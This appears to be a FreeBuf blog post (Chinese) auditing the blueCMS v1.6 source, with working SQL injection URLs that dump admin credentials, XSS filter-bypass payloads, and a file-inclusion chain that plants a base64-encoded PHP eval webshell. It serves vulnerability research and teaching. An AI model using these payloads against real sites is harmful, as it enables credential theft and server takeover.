freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从小众blueCMS入坑代码审计
2019-03-05 14:30:11

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

*本文原创作者:13324074893,本文属FreeBuf原创奖励计划,未经许可禁止转载

blueCMS介绍

终于决定要入坑“代码审计”,之前也陆陆续续试着做一些,但总是浅尝而止,并没有坚持下来。作为一个菜鸟,在之前也看了许多大牛的文章,学习了一些新的思路,看着大牛简简单单就挖到了一些0day,显着特别高大上,心生羡慕的同时自己也想试着写一写,写的不好,希望大家能够包容。因为水平还不够,所以就选了一个特别小众的blueCMS。同时做总结,搞清楚漏洞原理。好,进入正文!

blueCMS是一款小众的CMS,网上也有人发布其相关漏洞。目前先分析那些文章提到的漏洞,进行漏洞的复现。增长一下经验,也不奢求能发现什么高质量的漏洞,只要能在大牛的基础上发现新的漏洞,就已经满足了。接下来对已公布的漏洞进行分析:一个是位于根目录下的ad_js.php文件中,存在sql注入。

环境准备

BlueCMS v1.6

Phpstudy(可快速搭建环境) php5.2+apache+mysql

操作系统 WIN7 64位

sql注入问题1:

首先查看配置文件,发现网站有统一的过滤方法,在文件common.inc.php中,对$_post、$_get、$_cookies和$_request统一进行gpc处理。代码如下:

if(!get_magic_quotes_gpc())

{

$_POST = deep_addslashes($_POST);

$_GET = deep_addslashes($_GET);

$_COOKIES = deep_addslashes($_COOKIES);

$_REQUEST = deep_addslashes($_REQUEST);

}

产生漏洞的文件ad_js.php,代码中直接对变量$ad_id进行拼接,没有使用单引号,所以我们可以绕过魔术引号的转译。

图片.png

追踪函数getone(),代码在mysql.class.php中,直接执行了sql语句。

图片.png

漏洞复现,脚本poc直接爬取用户名和密码:http://172.16.69.2/bluecms/ad_js.php?ad_id=1 UNION SELECT 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

图片.png

sql注入问题2:

配置文件中对$_post、$_get、$_cookies和$_request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。代码如下:

function getip()

{

if (getenv('HTTP_CLIENT_IP'))

{

$ip = getenv('HTTP_CLIENT_IP');

}

elseif (getenv('HTTP_X_FORWARDED_FOR'))

{

$ip = getenv('HTTP_X_FORWARDED_FOR');

}

elseif (getenv('HTTP_X_FORWARDED'))

{

$ip = getenv('HTTP_X_FORWARDED');

}

elseif (getenv('HTTP_FORWARDED_FOR'))

{

$ip = getenv('HTTP_FORWARDED_FOR');

}

elseif (getenv('HTTP_FORWARDED'))

{

$ip = getenv('HTTP_FORWARDED');

}

else

{

$ip = $_SERVER['REMOTE_ADDR'];

}

return $ip;

}

所以我们接下来的思路,对getip进行全文搜索,查到文件comment.php,点击进去,进行追踪。

图片.png

进入到文件comment.php中,我们发现网站还是做了安全处理的,如对comment内容做了html转译,所以xss不存在了,其它的参数进行gpc转译和字符的intval强制转换,基本上避免了sql漏洞;而且我们还可以确定漏洞触发的地点,在评论处:

图片.png

漏洞复现:

图片.png

重定向漏洞

参数$from可控,紧紧使用base64进行加密,漏洞位置,在登录的时候触发,不过问题不严重。

图片.png

图片.png

漏洞实现

图片.png

Xss漏洞

Xss漏洞点1:

在文件user.php中,我们可以看到编辑个人资料的地方,存在存储型xss漏洞,因为只有$address进行了html转译处理,但是其它的变量进行的长度的限制。测试了一下,只有在变量$email和$msn处导致xss漏洞。

 //编辑个人资料

elseif($act == 'edit_user_info'){

 $user_id = intval($_SESSION['user_id']);

 if(empty($user_id)){

 return false;

 }

$birthday = trim($_POST['birthday']);

$sex = intval($_POST['sex']);

    $email = !empty($_POST['email']) ? trim($_POST['email']) : '';

    $msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';

    $qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';

    $mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';

    $office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';

    $home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';

$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';

如变量qq、mobile_phone等,长度限制为20,所以不能触发xss了。

图片.png

漏洞复现:

参数$email;弹窗成功

图片.png

按下F12,查看页面打码

图片.png

Xss漏洞点2:

在文件user.php中,我们可以看到添加新闻的地方,存在存储型xss漏洞,因为只有$descript和$content没有进行html转译处理。

    elseif ($act == 'do_add_news') {

  include_once 'include/upload.class.php';

  $image = new upload();

  $title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';

  $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';

  $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';

  if(empty($cid)){

  showmsg('新闻分类不能为空');

  }

  $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];

  $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';

$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';

$descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);

继续跟踪函数filter_data,代码如下:

function filter_data($str)

{

$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);

return $str;

}

我们很容易进行绕过,如利用<img src=1 onerror=alert(1)>或者大小写绕过,<scir<script>pt>重写绕过。

图片.png

图片.png图片.png 图片.png

跟踪变量$descript,追踪函数mb_sub,代码如下,只是对字数做了限制,因此可以直接写入脚本<script>alert(/xss/)</script>:

function mb_sub($str, $sta=0, $len)

{

  if(strlen($str)<$len*2)

return $str;

$str=mb_substr($str, $sta, $len, gb2312);

return $str;

}

漏洞展示:

图片.png

本地文件包含拿shell

经过不断努力,终于发现了一处文件包含漏洞,不说那么多废话了,直接上代码,代码在文件user.php中:

elseif ($act == 'pay'){

  include 'data/pay.cache.php';

  $price = $_POST['price'];

  $id = $_POST['id'];

  $name = $_POST['name'];

  if (empty($_POST['pay'])) {

  showmsg('对不起,您没有选择支付方式');

  }

  include 'include/payment/'.$_POST['pay']."/index.php";

 }

分析代码,我们发现$_POST['pay']并没有做多余的安全检测,直接进行拼接,所以我们的重点是考虑如何截断。但是这里面有一点坑。首先前文中说道,完整对post方法进行了重写,会对%00进行转译,所以利用%00进行截断是不行的。

图片.png

所以我们要考虑利用文件路径长度截断,如用字符.或者/.或者./来截断。系统文件路径长度限制:

Windows 259个字节

Linux 4096个字节

图片.png

我们知道,利用文件包含漏洞可以包含jpg文件,而且服务器可以解析jpg文件。所以我们的思路:上传一个带木马的jpg文件,利用文件包含漏洞包含jpg文件,拿shell。

在个人资料编辑出,可以上传jpg文件;我们上传一个图片马,因为该漏洞参数传递是post方式,所以无法利用菜刀,所以上传了一个大马devilzShell.jpg:

图片.png

包含该文件:

图片.png

由于网站的文件,在大马里直接执行command发现有限制,执行失败:

图片.png

所以,转变一下思路;上传一个jpg脚本,直接在服务器中,写入一个小马,payload如下:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

执行该脚本,会在根目录生成一个lost.php的下马,内容<?php @eval($_POST['lostwolf']);?>

上传文件:

图片.png

包含文件data/upload/face_pic/15506333400.jpg;发现在服务器根目录中生成了lost.php文件

图片.png

图片.png

直接上菜刀:

图片.png

拿shell成功:

图片.png

总结:

作为一个代码审计的新手,能在大神的基础上发现一点点新的漏洞,内心的喜悦是难以言表的。对于大神来说,可能这些还很浅薄,不过以后会努力的。写的不好,需要大牛们能都对新手有点包容,争取把能力提升上去。与君共勉!

*本文原创作者:13324074893,本文属FreeBuf原创奖励计划,未经许可禁止转载

# 代码审计 # blueCMS
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录